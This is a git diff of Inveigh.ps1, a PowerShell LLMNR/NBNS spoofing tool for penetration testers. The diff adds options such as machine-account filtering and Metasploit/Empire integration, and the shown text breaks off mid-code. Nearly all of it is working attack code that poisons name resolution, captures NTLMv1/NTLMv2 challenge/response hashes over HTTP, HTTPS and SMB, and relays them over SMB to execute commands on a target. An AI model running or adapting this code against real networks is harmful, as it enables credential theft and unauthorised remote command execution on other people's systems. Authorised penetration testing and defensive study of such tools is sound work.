diff options
Diffstat (limited to 'Inveigh.ps1')
| -rw-r--r-- | Inveigh.ps1 | 712 |
1 files changed, 465 insertions, 247 deletions
diff --git a/Inveigh.ps1 b/Inveigh.ps1 index 9f05e74..d71fe4e 100644 --- a/Inveigh.ps1 +++ b/Inveigh.ps1 @@ -6,13 +6,25 @@ Inveigh is a Windows PowerShell LLMNR/NBNS spoofer with challenge/response captu .DESCRIPTION Inveigh is a Windows PowerShell LLMNR/NBNS spoofer designed to assist penetration testers that find themselves limited to a Windows system. -This can commonly occur while performing phishing attacks, USB drive attacks, VLAN pivoting, or simply being restricted to a Windows system as part of client imposed restrictions. +This can commonly occur while performing standard post exploitation, phishing attacks, USB drive attacks, VLAN pivoting, or simply being restricted to a Windows system as part of client imposed restrictions. .PARAMETER IP Specify a specific local IP address for listening. This IP address will also be used for LLMNR/NBNS spoofing if the 'SpoofIP' parameter is not set. .PARAMETER SpooferIP -Specify an IP address for LLMNR/NBNS spoofing. This parameter is only necessary when redirecting victims to another system. +Specify an IP address for LLMNR/NBNS spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh host. + +.PARAMETER LLMNR +Default = Enabled: Enable/Disable LLMNR spoofing. + +.PARAMETER NBNS +Default = Disabled: Enable/Disable NBNS spoofing. + +.PARAMETER NBNSTypes +Default = 00,20: Comma separated list of NBNS types to spoof. Types include 00 = Workstation Service, 03 = Messenger Service, 20 = Server Service, 1B = Domain Name + +.PARAMETER Repeat +Default = Enabled: Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured. .PARAMETER HTTP Default = Enabled: Enable/Disable HTTP challenge/response capture. @@ -23,18 +35,16 @@ If the script does not exit gracefully, execute "netsh http delete sslcert ippor .PARAMETER SMB Default = Enabled: Enable/Disable SMB challenge/response capture. Warning, LLMNR/NBNS spoofing can still direct targets to the host system's SMB server. +Block TCP ports 445/139 if you need to prevent login requests from being processed by the Inveigh host. -.PARAMETER LLMNR -Default = Enabled: Enable/Disable LLMNR spoofing. +.PARAMETER Challenge +Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request. -.PARAMETER NBNS -Default = Disabled: Enable/Disable NBNS spoofing. +.PARAMETER MachineAccounts +Default = Disabled: Enable/Disable showing NTLM challenge/response captures from machine accounts. -.PARAMETER NBNSTypes -Default = 20: Comma separated list of NBNS types to spoof. Types include 00 = Workstation Service, 03 = Messenger Service, 20 = Server Service, 1B = Domain Name - -.PARAMETER Challenge -Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request. +.PARAMETER ForceWPADAuth +Default = Enabled: Matches Responder option to Enable/Disable authentication for wpad.dat GET requests. Disabling can prevent browser login prompts. .PARAMETER SMBRelay Default = Disabled: Enable/Disable SMB relay. @@ -46,7 +56,7 @@ IP address of system to target for SMB relay. Command to execute on SMB relay target. .PARAMETER SMBRelayUsernames -Default = All Usernames: Comma separated list of usernames to use for relay attacks. Accepts either just the username of domain\username format. +Default = All Usernames: Comma separated list of usernames to use for relay attacks. Accepts both username and domain\username format. .PARAMETER SMBRelayAutoDisable Default = Enable: Automaticaly disable SMB relay after a successful command execution on target. @@ -54,26 +64,18 @@ Default = Enable: Automaticaly disable SMB relay after a successful command exec .PARAMETER SMBRelayNetworkTimeout Default = No Timeout: Set the duration in seconds that Inveigh will wait for a reply from the SMB relay target after each packet is sent. -.PARAMETER Repeat -Default = Enabled: Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured. - -.PARAMETER ForceWPADAuth -Default = Enabled: Matches Responder option to Enable/Disable authentication for wpad.dat GET requests. Disabling can prevent browser login prompts. - -.PARAMETER ConsolePrompt -Default = Enabled: Enable/Disable the console prompt. - -.PARAMETER RunTime -Set the run time duration in minutes. Note that leaving the Inveigh console open will prevent Inveigh from exiting once the set run time is reached. - .PARAMETER ConsoleOutput -Default = Console Output Disabled: Enable/Disable real time console output. +Default = Disabled: Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell. .PARAMETER FileOutput -Default = File Output Disabled: Enable/Disable real time file output. +Default = Disabled: Enable/Disable real time file output. .PARAMETER StatusOutput -Default = Status Output Enabled: Enable/Disable statup and shutdown output. +Default = Enabled: Enable/Disable statup and shutdown messages. + +.PARAMETER OutputStreamOnly +Default = Disabled: Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh through a shell that does not return other output streams. +Note that you will not see the various yellow warning messages if enabled. .PARAMETER OutputDir Default = Working Directory: Set an output directory for log and capture files. @@ -81,6 +83,12 @@ Default = Working Directory: Set an output directory for log and capture files. .PARAMETER ShowHelp Default = Enabled: Enable/Disable the help messages at startup. +.PARAMETER RunTime +Set the run time duration in minutes. + +.PARAMETER Tool +Default = 0: Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire + .EXAMPLE Import-Module;Invoke-Inveigh Import module and execute with all default settings. @@ -144,7 +152,7 @@ param [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$SMB="Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$LLMNR="Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$NBNS="N", - [parameter(Mandatory=$false)][ValidateSet("00","03","20","1B","1C","1D","1E")][array]$NBNSTypes="20", + [parameter(Mandatory=$false)][ValidateSet("00","03","20","1B","1C","1D","1E")][array]$NBNSTypes=@("00","20"), [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][string]$Challenge="", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$SMBRelay="N", [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SMBRelayTarget ="", @@ -157,8 +165,11 @@ param [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ConsoleOutput="N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$FileOutput="N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$StatusOutput="Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$OutputStreamOnly="N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$MachineAccounts="N", [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][string]$OutputDir="", [parameter(Mandatory=$false)][int]$RunTime="", + [parameter(Mandatory=$false)][ValidateSet("0","1","2")][string]$Tool="0", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ShowHelp="Y", [parameter(ValueFromRemainingArguments=$true)] $invalid_parameter ) @@ -203,7 +214,6 @@ else if(!$inveigh) { $global:inveigh = [hashtable]::Synchronized(@{}) - $inveigh.console_queue = New-Object System.Collections.ArrayList $inveigh.log = New-Object System.Collections.ArrayList $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList @@ -220,6 +230,8 @@ if($inveigh.HTTP_listener.IsListening) $inveigh.HTTP_listener.Close() } +$inveigh.console_queue = New-Object System.Collections.ArrayList +$inveigh.status_queue = New-Object System.Collections.ArrayList $inveigh.log_file_queue = New-Object System.Collections.ArrayList $inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList $inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList @@ -228,6 +240,7 @@ $inveigh.host = $host $inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList $inveigh.SMB_relay_active_step = 0 $inveigh.console_output = $false +$inveigh.console_input = $true $inveigh.file_output = $false $inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt" $inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt" @@ -243,28 +256,59 @@ else $inveigh.status_output = $false } +if($OutputStreamOnly -eq 'y') +{ + $inveigh.output_stream_only = $true +} +else +{ + $inveigh.output_stream_only = $false +} + +if($Tool -eq 1) # Metasploit Interactive Powershell +{ + $inveigh.tool = 1 + $inveigh.output_stream_only = $true + $inveigh.newline = "" + $ConsoleOutput = "N" +} +elseif($Tool -eq 2) # PowerShell Empire +{ + $inveigh.tool = 2 + $inveigh.output_stream_only = $true + $inveigh.console_input = $false + $inveigh.newline = "`n" + $ConsoleOutput = "Y" + $ShowHelp = "N" +} +else +{ + $inveigh.tool = 0 + $inveigh.newline = "" +} + # Write startup messages if($inveigh.status_output) { - Write-Output "Inveigh started at $(Get-Date -format 's')" - $inveigh.log.add("$(Get-Date -format 's') - Inveigh started") |out-null + $inveigh.status_queue.add("Inveigh started at $(Get-Date -format 's')")|Out-Null + $inveigh.log.add("$(Get-Date -format 's') - Inveigh started") |Out-Null if($FileOutput -eq 'y') { "$(Get-Date -format 's') - Inveigh started" |Out-File $Inveigh.log_out_file -Append } - Write-Output "Listening IP Address = $IP" - Write-Output "LLMNR/NBNS Spoofer IP Address = $SpooferIP" + $inveigh.status_queue.add("Listening IP Address = $IP") |Out-Null + $inveigh.status_queue.add("LLMNR/NBNS Spoofer IP Address = $SpooferIP")|Out-Null if($LLMNR -eq 'y') { - Write-Output 'LLMNR Spoofing Enabled' + $inveigh.status_queue.add("LLMNR Spoofing Enabled")|Out-Null $LLMNR_response_message = "- spoofed response has been sent" } else { - Write-Output 'LLMNR Spoofing Disabled' + $inveigh.status_queue.add("LLMNR Spoofing Disabled")|Out-Null $LLMNR_response_message = "- LLMNR spoofing is disabled" } @@ -274,36 +318,35 @@ if($inveigh.status_output) if($NBNSTypes.Count -eq 1) { - Write-Output "NBNS Spoofing Of Type $NBNSTypes_output Enabled" + $inveigh.status_queue.add("NBNS Spoofing Of Type $NBNSTypes_output Enabled")|Out-Null } else { - Write-Output "NBNS Spoofing Of Types $NBNSTypes_output Enabled" + $inveigh.status_queue.add("NBNS Spoofing Of Types $NBNSTypes_output Enabled")|Out-Null } $NBNS_response_message = "- spoofed response has been sent" } else { - Write-Output 'NBNS Spoofing Disabled' + $inveigh.status_queue.add("NBNS Spoofing Disabled")|Out-Null $NBNS_response_message = "- NBNS spoofing is disabled" } - if($Challenge) + if($Repeat -eq 'n') { - Write-Output "NTLM Challenge = $Challenge" + $inveigh.status_queue.add("Spoof Repeating Disabled")|Out-Null } - if($HTTP -eq 'y') { $inveigh.HTTP = $true - Write-Output 'HTTP Capture Enabled' + $inveigh.status_queue.add("HTTP Capture Enabled")|Out-Null } else { $inveigh.HTTP = $false - Write-Output 'HTTP Capture Disabled' + $inveigh.status_queue.add("HTTP Capture Disabled")|Out-Null } if($HTTPS -eq 'y') @@ -318,34 +361,53 @@ if($inveigh.status_output) $certificate_store.Add($certificate) $certificate_store.Close() Invoke-Expression -command ("netsh http add sslcert ipport=0.0.0.0:443 certhash=" + $inveigh.certificate_thumbprint + " appid='{00112233-4455-6677-8899-AABBCCDDEEFF}'") > $null - Write-Output 'HTTPS Capture Enabled' + $inveigh.status_queue.add("HTTPS Capture Enabled")|Out-Null } catch { $certificate_store.Close() $HTTPS="N" $inveigh.HTTPS = $false - Write-Output 'HTTPS Capture Disabled Due To Certificate Install Error' + $inveigh.status_queue.add("HTTPS Capture Disabled Due To Certificate Install Error")|Out-Null } } else { - Write-Output 'HTTPS Capture Disabled' + $inveigh.status_queue.add("HTTPS Capture Disabled")|Out-Null + } + + if($Challenge) + { + $inveigh.status_queue.add("NTLM Challenge = $Challenge")|Out-Null } if($SMB -eq 'y') { - Write-Output 'SMB Capture Enabled' + $inveigh.status_queue.add("SMB Capture Enabled")|Out-Null + } + else + { + $inveigh.status_queue.add("SMB Capture Disabled")|Out-Null + } + + if($MachineAccounts -eq 'n') + { + $inveigh.status_queue.add("Ignoring Machine Accounts")|Out-Null + } + + if($ForceWPADAuth -eq 'y') + { + $inveigh.status_queue.add("Force WPAD Authentication Enabled")|Out-Null } else { - Write-Output 'SMB Capture Disabled' + $inveigh.status_queue.add("Force WPAD Authentication Disabled")|Out-Null } if($SMBRelay -eq 'y') { - Write-Output 'SMB Relay Enabled' - Write-Output "SMB Relay Target = $SMBRelayTarget" + $inveigh.status_queue.add("SMB Relay Enabled") |Out-Null + $inveigh.status_queue.add("SMB Relay Target = $SMBRelayTarget")|Out-Null if($SMBRelayUsernames.Count -gt 0) { @@ -353,88 +415,107 @@ if($inveigh.status_output) if($SMBRelayUsernames.Count -eq 1) { - Write-Output "SMB Relay Username = $SMBRelayUsernames_output" + $inveigh.status_queue.add("SMB Relay Username = $SMBRelayUsernames_output")|Out-Null } else { - Write-Output "SMB Relay Usernames = $SMBRelayUsernames_output" + $inveigh.status_queue.add("SMB Relay Usernames = $SMBRelayUsernames_output")|Out-Null } } + + if($SMBRelayAutodisable -eq 'y') + { + $inveigh.status_queue.add("SMB Relay Auto Disable Enabled")|Out-Null + } + else + { + $inveigh.status_queue.add("SMB Relay Auto Disable Disabled")|Out-Null + } + + if($SMBRelayNetworkTimeout) + { + $inveigh.status_queue.add("SMB Relay Network Timeout = $SMBRelayNetworkTimeout Seconds")|Out-Null + } $inveigh.SMB_relay = $true } else { - Write-Output 'SMB Relay Disabled' + $inveigh.status_queue.add("SMB Relay Disabled")|Out-Null $inveigh.SMB_relay = $false } - if($SMBRelayAutodisable -eq 'y') - { - Write-Output 'SMB Relay Auto Disable Enabled' - } - else - { - Write-Output 'SMB Relay Auto Disable Disabled' - } - - if($SMBRelayNetworkTimeout) - { - Write-Output "SMB Relay Network Timeout = $SMBRelayNetworkTimeout Seconds" - } - - if($Repeat -eq 'y') + if($ConsoleOutput -eq 'y') { - Write-Output 'Spoof Repeating Enabled' + $inveigh.status_queue.add("Real Time Console Output Enabled")|Out-Null + $inveigh.console_output = $true } else { - Write-Output 'Spoof Repeating Disabled' + if($inveigh.tool -eq 1) + { + $inveigh.status_queue.add("Real Time Console Output Disabled Due To External Tool Selection")|Out-Null + } + else + { + $inveigh.status_queue.add("Real Time Console Output Disabled")|Out-Null + } } - if($ForceWPADAuth -eq 'y') + if($FileOutput -eq 'y') { - Write-Output 'Force WPAD Authentication Enabled' + $inveigh.status_queue.add("Real Time File Output Enabled")|Out-Null + $inveigh.status_queue.add("Output Directory = $output_directory")|Out-Null + $inveigh.file_output = $true } else { - Write-Output 'Force WPAD Authentication Disabled' + $inveigh.status_queue.add("Real Time File Output Disabled")|Out-Null } if($RunTime -eq 1) { - Write-Output "Run Time = $RunTime Minute" + $inveigh.status_queue.add("Run Time = $RunTime Minute")|Out-Null } elseif($RunTime -gt 1) { - Write-Output "Run Time = $RunTime Minutes" - } - - if($ConsoleOutput -eq 'y') - { - Write-Output 'Console Output Enabled' - $inveigh.console_output = $true - } - else - { - Write-Output 'Console Output Disabled' + $inveigh.status_queue.add("Run Time = $RunTime Minutes")|Out-Null } - if($FileOutput -eq 'y') - { - Write-Output 'File Output Enabled' - Write-Output "Output Directory = $output_directory" - $inveigh.file_output = $true - } - else + if($ShowHelp -eq 'y') { - Write-Output 'File Output Disabled' + $inveigh.status_queue.add("Run Get-InveighHelp to show available cmdlets")|Out-Null + $inveigh.status_queue.add("Run Stop-Inveigh to stop Inveigh")|Out-Null + + if($inveigh.console_output) + { + $inveigh.status_queue.add("Press any key to stop real time console output")|Out-Null + } } - if($ShowHelp -eq 'y') + while($inveigh.status_queue.Count -gt 0) { - Write-Output 'Run Get-InveighHelp to show available cmdlets' - Write-Warning 'Run Stop-Inveigh to stop Inveigh' + if($inveigh.output_stream_only) + { + write-output($inveigh.status_queue[0] + $inveigh.newline) + $inveigh.status_queue.RemoveRange(0,1) + } + else + { + switch ($inveigh.status_queue[0]) + { + "Run Stop-Inveigh to stop Inveigh" + { + write-warning($inveigh.status_queue[0]) + $inveigh.status_queue.RemoveRange(0,1) + } + default + { + write-output($inveigh.status_queue[0]) + $inveigh.status_queue.RemoveRange(0,1) + } + } + } } } @@ -448,16 +529,16 @@ $process_ID = $process_ID -replace "-00-00","" # Shared Basic Functions ScriptBlock $shared_basic_functions_scriptblock = { - Function DataToUInt16( $field ) + Function DataToUInt16($field) { - [Array]::Reverse( $field ) - return [BitConverter]::ToUInt16( $field, 0 ) + [Array]::Reverse($field) + return [BitConverter]::ToUInt16($field,0) } - Function DataToUInt32( $field ) + Function DataToUInt32($field) { - [Array]::Reverse( $field ) - return [BitConverter]::ToUInt32( $field, 0 ) + [Array]::Reverse($field) + return [BitConverter]::ToUInt32($field,0) } Function DataLength @@ -534,7 +615,7 @@ $SMB_NTLM_functions_scriptblock = $NTLMv2_response = $NTLMv2_response.Insert(32,':') $NTLMv2_hash = $NTLM_user_string + "::" + $NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLMv2_response - if($source_IP -ne $IP) + if(($source_IP -ne $IP) -and (($MachineAccounts -eq 'y') -or (($MachineAccounts -eq 'n') -and (-not $NTLM_user_string.EndsWith('$'))))) { $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB NTLMv2 challenge/response for $NTLM_domain_string\$NTLM_user_string captured from $source_IP($NTLM_host_string)")]) $inveigh.NTLMv2_file_queue.add($NTLMv2_hash) @@ -545,7 +626,6 @@ $SMB_NTLM_functions_scriptblock = { $inveigh.console_queue.add("SMB NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) } - } } else @@ -554,7 +634,7 @@ $SMB_NTLM_functions_scriptblock = $NTLMv1_response = $NTLMv1_response.Insert(48,':') $NTLMv1_hash = $NTLM_user_string + "::" + $NTLM_domain_string + ":" + $NTLMv1_response + ":" + $NTLM_challenge - if($source_IP -ne $IP) + if(($source_IP -ne $IP) -and (($MachineAccounts -eq 'y') -or (($MachineAccounts -eq 'n') -and (-not $NTLM_user_string.EndsWith('$'))))) { $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB NTLMv1 challenge/response for $NTLM_domain_string\$NTLM_user_string captured from $source_IP($NTLM_host_string)")]) $inveigh.NTLMv1_file_queue.add($NTLMv1_hash) @@ -679,6 +759,7 @@ $SMB_relay_response_scriptblock = param ($SMB_relay_socket,$HTTP_request_bytes,$SMB_user_ID) $SMB_relay_response_bytes = New-Object System.Byte[] 1024 + if ($SMB_relay_socket) { $SMB_relay_response_stream = $SMB_relay_socket.GetStream() @@ -1066,9 +1147,8 @@ $SMB_relay_execute_scriptblock = # HTTP/HTTPS Server ScriptBlock - HTTP/HTTPS listener $HTTP_scriptblock = -{ - - param ($Challenge,$SMBRelay,$SMBRelayTarget,$SMBRelayCommand,$SMBRelayUsernames,$SMBRelayAutoDisable,$SMBRelayNetworkTimeout,$Repeat,$ForceWPADAuth) +{ + param ($Challenge,$SMBRelay,$SMBRelayTarget,$SMBRelayCommand,$SMBRelayUsernames,$SMBRelayAutoDisable,$SMBRelayNetworkTimeout,$Repeat,$MachineAccounts,$ForceWPADAuth) Function NTLMChallengeBase64 { @@ -1241,9 +1321,8 @@ $HTTP_scriptblock = $NTLM_response = $NTLM_response.Insert(48,':') $inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_response + ":" + $NTLM_challenge - if(($NTLM_challenge -ne '') -and ($NTLM_response -ne '')) + if((($NTLM_challenge -ne '') -and ($NTLM_response -ne '')) -and (($MachineAccounts -eq 'y') -or (($MachineAccounts -eq 'n') -and (-not $HTTP_NTLM_user_string.EndsWith('$'))))) { - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")]) $inveigh.NTLMv1_file_queue.add($inveigh.HTTP_NTLM_hash) $inveigh.NTLMv1_list.add($inveigh.HTTP_NTLM_hash) @@ -1253,7 +1332,6 @@ $HTTP_scriptblock = { $inveigh.console_queue.add("$HTTP_type NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) } - } if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and ($Repeat -eq 'n')) @@ -1268,7 +1346,7 @@ $HTTP_scriptblock = $NTLM_response = $NTLM_response.Insert(32,':') $inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLM_response - if(($NTLM_challenge -ne '') -and ($NTLM_response -ne '')) + if((($NTLM_challenge -ne '') -and ($NTLM_response -ne '')) -and (($MachineAccounts -eq 'y') -or (($MachineAccounts -eq 'n') -and (-not $HTTP_NTLM_user_string.EndsWith('$'))))) { $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.request.RemoteEndpoint.address + "(" + $HTTP_NTLM_host_string + ")")]) $inveigh.NTLMv2_file_queue.add($inveigh.HTTP_NTLM_hash) @@ -1295,43 +1373,53 @@ $HTTP_scriptblock = { if((!$SMBRelayUsernames) -or ($SMBRelayUsernames -contains $HTTP_NTLM_user_string) -or ($SMBRelayUsernames -contains "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) { - if($inveigh.SMBRelay_failed_list -notcontains "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $SMBRelayTarget") + if(($MachineAccounts -eq 'y') -or (($MachineAccounts -eq 'n') -and (-not $HTTP_NTLM_user_string.EndsWith('$')))) { - if($NTLM_type -eq 'NTLMv2') + if($inveigh.SMBRelay_failed_list -notcontains "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $SMBRelayTarget") { - $inveigh.console_queue.add("Sending $NTLM_type response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $SMBRelaytarget") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Sending $NTLM_type response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $SMBRelaytarget")]) - $SMB_relay_response_return_bytes = SMBRelayResponse $SMB_relay_socket $HTTP_request_bytes $SMB_user_ID - $SMB_relay_response_return_bytes = $SMB_relay_response_return_bytes[1..$SMB_relay_response_return_bytes.length] - - if((!$SMB_relay_failed) -and ([System.BitConverter]::ToString($SMB_relay_response_return_bytes[9..12]) -eq ('00-00-00-00'))) + if($NTLM_type -eq 'NTLMv2') { - $inveigh.console_queue.add("$HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget")]) - $inveigh.SMB_relay_active_step = 4 - SMBRelayExecute $SMB_relay_socket $SMB_user_ID + $inveigh.console_queue.add("Sending $NTLM_type response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $SMBRelaytarget") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Sending $NTLM_type response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $SMBRelaytarget")]) + $SMB_relay_response_return_bytes = SMBRelayResponse $SMB_relay_socket $HTTP_request_bytes $SMB_user_ID + $SMB_relay_response_return_bytes = $SMB_relay_response_return_bytes[1..$SMB_relay_response_return_bytes.length] + + if((!$SMB_relay_failed) -and ([System.BitConverter]::ToString($SMB_relay_response_return_bytes[9..12]) -eq ('00-00-00-00'))) + { + $inveigh.console_queue.add("$HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget")]) + $inveigh.SMB_relay_active_step = 4 + SMBRelayExecute $SMB_relay_socket $SMB_user_ID + } + else + { + $inveigh.console_queue.add("$HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget")]) + $inveigh.SMBRelay_failed_list += "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $SMBRelayTarget" + $inveigh.SMB_relay_active_step = 0 + $SMB_relay_socket.Close() + } } else { - $inveigh.console_queue.add("$HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget")]) - $inveigh.SMBRelay_failed_list += "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $SMBRelayTarget" + $inveigh.console_queue.add("NTLMv1 relay not yet supported") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - NTLMv1 relay not yet supported")]) $inveigh.SMB_relay_active_step = 0 $SMB_relay_socket.Close() } } else { - $inveigh.console_queue.add("NTLMv1 relay not yet supported") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - NTLMv1 relay not yet supported")]) + $inveigh.console_queue.add("Aborting relay since $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string has already been tried on $SMBRelayTarget") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Aborting relay since $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string has already been tried on $SMBRelayTarget")]) $inveigh.SMB_relay_active_step = 0 $SMB_relay_socket.Close() } } else { - $inveigh.console_queue.add("Aborting relay since $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string has already been tried on $SMBRelayTarget") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Aborting relay since $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string has already been tried on $SMBRelayTarget")]) + $inveigh.console_queue.add("Aborting relay since $HTTP_NTLM_user_string appears to be a machine account") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Aborting relay since $HTTP_NTLM_user_string appears to be a machine account")]) $inveigh.SMB_relay_active_step = 0 $SMB_relay_socket.Close() } @@ -1366,8 +1454,7 @@ $HTTP_scriptblock = # Sniffer/Spoofer ScriptBlock - LLMNR/NBNS Spoofer and SMB sniffer $sniffer_scriptblock = { - - param ($LLMNR_response_message,$NBNS_response_message,$IP,$SpooferIP,$SMB,$LLMNR,$NBNS,$NBNSTypes,$Repeat,$ForceWPADAuth,$RunTime) + param ($LLMNR_response_message,$NBNS_response_message,$IP,$SpooferIP,$SMB,$LLMNR,$NBNS,$NBNSTypes,$Repeat,$MachineAccounts,$ForceWPADAuth,$RunTime) $byte_in = New-Object Byte[] 4 $byte_out = New-Object Byte[] 4 @@ -1385,8 +1472,8 @@ $sniffer_scriptblock = if($RunTime) { - $main_timeout = new-timespan -Minutes $RunTime - $main_stopwatch = [diagnostics.stopwatch]::StartNew() + $sniffer_timeout = new-timespan -Minutes $RunTime + $sniffer_stopwatch = [diagnostics.stopwatch]::StartNew() } while($inveigh.running) @@ -1628,22 +1715,16 @@ $sniffer_scriptblock = if($RunTime) { - if($main_stopwatch.elapsed -ge $main_timeout) + if($sniffer_stopwatch.elapsed -ge $sniffer_timeout) { - $inveigh.running = $false - if($inveigh.HTTP_listener.IsListening) { $inveigh.HTTP_listener.Stop() $inveigh.HTTP_listener.Close() } - if($inveigh.status_output) - { - $inveigh.host.ui.WriteWarningLine("Inveigh auto-exited at $(Get-Date -format 's')") - } - + $inveigh.console_queue.add("Inveigh auto-exited at $(Get-Date -format 's')") $inveigh.log.add("$(Get-Date -format 's') - Inveigh auto-exited") if($inveigh.file_output) @@ -1667,61 +1748,22 @@ $sniffer_scriptblock = { if($inveigh.status_output) { - $inveigh.host.ui.WriteWarningLine("SSL Certificate Deletion Error - Remove Manually") - $inveigh.log.add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") + $inveigh.console_queue.add("SSL Certificate Deletion Error - Remove Manually") } + $inveigh.log.add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") + if($inveigh.file_output) { "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually"| Out-File $Inveigh.log_out_file -Append } } } + + $inveigh.running = $false + } } - - while(($inveigh.console_queue.Count -gt 0) -and ($inveigh.console_output)) - { - switch -wildcard ($inveigh.console_queue[0]) - { - "*local administrator*" - { - $inveigh.host.ui.WriteWarningLine($inveigh.console_queue[0]) - $inveigh.console_queue.RemoveRange(0,1) - } - "*NTLMv1 challenge/response written*" - { - if($inveigh.file_output) - { - $inveigh.host.ui.WritewarningLine($inveigh.console_queue[0]) - } - $inveigh.console_queue.RemoveRange(0,1) - } - "*NTLMv2 challenge/response written*" - { - if($inveigh.file_output) - { - $inveigh.host.ui.WritewarningLine($inveigh.console_queue[0]) - } - $inveigh.console_queue.RemoveRange(0,1) - } - "* relay *" - { - $inveigh.host.ui.WriteWarningLine($inveigh.console_queue[0]) - $inveigh.console_queue.RemoveRange(0,1) - } - "Service *" - { - $inveigh.host.ui.WriteWarningLine($inveigh.console_queue[0]) - 